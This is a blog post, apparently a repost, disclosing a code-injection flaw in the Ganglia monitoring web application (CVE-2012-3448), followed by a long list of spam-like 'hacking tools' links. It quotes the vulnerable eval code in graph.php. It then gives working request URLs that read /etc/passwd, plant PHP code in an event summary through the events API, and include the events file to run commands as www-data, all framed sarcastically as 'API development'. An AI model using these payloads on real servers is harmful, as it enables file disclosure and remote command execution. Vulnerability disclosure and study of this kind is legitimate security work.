Previously I had gone over a somewhat limited local file include in the Ganglia monitoring application (http://ganglia.info). The previous article can be found here -
http://console-cowboys.blogspot.com/2012/01/ganglia-monitoring-system-lfi.html
I recently grabbed the latest version of the Ganglia web application to take a look to see if this issue has been fixed and I was pleasantly surprised... github is over here -
https://github.com/ganglia/ganglia-web
Looking at the code the following (abbreviated "graph.php") sequence can be found -
$graph = isset($_GET["g"]) ? sanitize ( $_GET["g"] ) : "metric";
....
$graph_arguments = NULL;
$pos = strpos($graph, ",");
$graph_arguments = substr($graph, $pos + 1);
....
eval('$graph_function($rrdtool_graph,' . $graph_arguments . ');');
I can only guess that this previous snippet of code was meant to be used as some sort of API put in place for remote developers, unfortunately it is slightly broken. For some reason when this API was being developed part of its interface was wrapped in the following function -
function sanitize ( $string ) {
return escapeshellcmd( clean_string( rawurldecode( $string ) ) ) ;
}
According the the PHP documentation -
Following characters are preceded by a backslash: #&;`|*?~<>^()[]{}$\, \x0A and \xFF. ' and " are escaped only if they are not paired. In Windows, all these characters plus % are replaced by a space instead.
This limitation of the API means we cannot simply pass in a function like eval, exec, system, or use backticks to create our Ganglia extension. Our only option is to use PHP functions that do not require "(" or ")" a quick look at the available options (http://www.php.net/manual/en/reserved.keywords.php) it looks like "include" would work nicely. An example API request that would help with administrative reporting follows:
http://192.168.18.157/gang/graph.php?g=cpu_report,include+'/etc/passwd'
As you can see in the screen shot I have marked the "Event Summary" with "php here". When creating our API extension event we will fill in this event with the command we wish to run, see the following example request -
http://192.168.18.157/gang/api/events.php?action=add&summary=<%3fphp+echo+`whoami`%3b+%3f>&start_time=07/01/2012%2000:00%20&end_time=07/02/2012%2000:00%20&host_regex=
This request will set up an "event" that will let everyone know who you are, that would be the friendly thing to do when attending an event. We can now go ahead and wire up our API call to attend our newly created event. Since we know that Ganglia keeps track of all planned events in the following location "/var/lib/ganglia/conf/events.json" lets go ahead and include this file in our API call -
http://192.168.18.157/gang/graph.php?g=cpu_report,include+'/var/lib/ganglia/conf/events.json'
As you can see we have successfully made our API call and let everyone know at the "event" that our name is "www-data". From here I will leave the rest of the API development up to you. I hope this article will get you started on your Ganglia API development and you are able to implement whatever functionality your environment requires. Thanks for following along.
Update: This issue has been assigned CVE-2012-3448
Continue reading
- Hacker Tools Apk Download
- Pentest Tools Apk
- Hack Tools 2019
- Nsa Hacker Tools
- Hacking Tools Download
- Tools Used For Hacking
- Pentest Tools Linux
- Pentest Tools For Android
- Hacker Tools For Pc
- Hacker Tools Mac
- Hack Tools For Ubuntu
- Pentest Tools Online
- Termux Hacking Tools 2019
- Hacking Tools For Pc
- Hacker Tools List
- Hacker Tools Hardware
- Pentest Tools Online
- Physical Pentest Tools
- Hacker Tools Mac
- Top Pentest Tools
- Hacker Techniques Tools And Incident Handling
- Kik Hack Tools
- Hackers Toolbox
- Hacking Tools Mac
- Hacking Tools Mac
- Hacking Tools For Windows
- How To Install Pentest Tools In Ubuntu
- Free Pentest Tools For Windows
- Hacking Tools
- Pentest Tools Bluekeep
- Pentest Tools Windows
- Hack Tools For Windows
- Hacker Tools Mac
- Hacker Tools Online
- Pentest Tools Open Source
- What Is Hacking Tools
- Pentest Tools Bluekeep
- Pentest Tools Bluekeep
- Hacking Tools
- Hack Tools Pc
- Hacker Tools For Mac
- Hack Tools For Games
- Hacking Tools Mac
- Hacker
- Hacker Tools List
- Pentest Tools Windows
- Hak5 Tools
- Free Pentest Tools For Windows
- Pentest Tools Windows
- Hacking Tools Hardware
- Hacker Tools 2020
- How To Install Pentest Tools In Ubuntu
- Bluetooth Hacking Tools Kali
- Hacker Search Tools
- Hack Rom Tools
- Pentest Tools Find Subdomains
- Pentest Tools Framework
- Hacking Tools For Kali Linux
- Hacker Search Tools
- Bluetooth Hacking Tools Kali
- Kik Hack Tools
- Hack Tools For Mac
- What Are Hacking Tools
- Hackrf Tools
- Hak5 Tools
- Hacking Tools Name
- Hacking Tools For Windows Free Download
- Hack Tools For Pc
- Hacking Tools For Kali Linux
- What Are Hacking Tools
- Usb Pentest Tools
- Hack And Tools
- Hacking Tools For Games
- Hacker Tool Kit
- Best Hacking Tools 2020
- Hacker Tools 2020
- Hacker Tools Software
- Hacking Tools 2019
- Hacking Tools Mac
- Hack Tools For Ubuntu
- Hack Tools For Ubuntu
- Pentest Tools Kali Linux
- Beginner Hacker Tools
- Best Pentesting Tools 2018
- Pentest Tools Apk
- What Is Hacking Tools
- Hacking Tools Free Download
- Hacking Tools Kit
- Beginner Hacker Tools
- Pentest Tools For Mac
- Pentest Tools Nmap
- Pentest Tools Apk
- Hacking Tools For Pc
- Wifi Hacker Tools For Windows
- Hacker Tools Hardware
- Pentest Tools Nmap
- Hack Tools Pc
- Bluetooth Hacking Tools Kali
- Hack Tools Mac
- Nsa Hacker Tools
- Hacking Tools Software
- Pentest Box Tools Download
- Hacker Tools For Ios
- Pentest Tools Website Vulnerability
- How To Hack
- Hacking Tools Kit
0 အမွတ္တရေျပာသြားတာ:
Post a Comment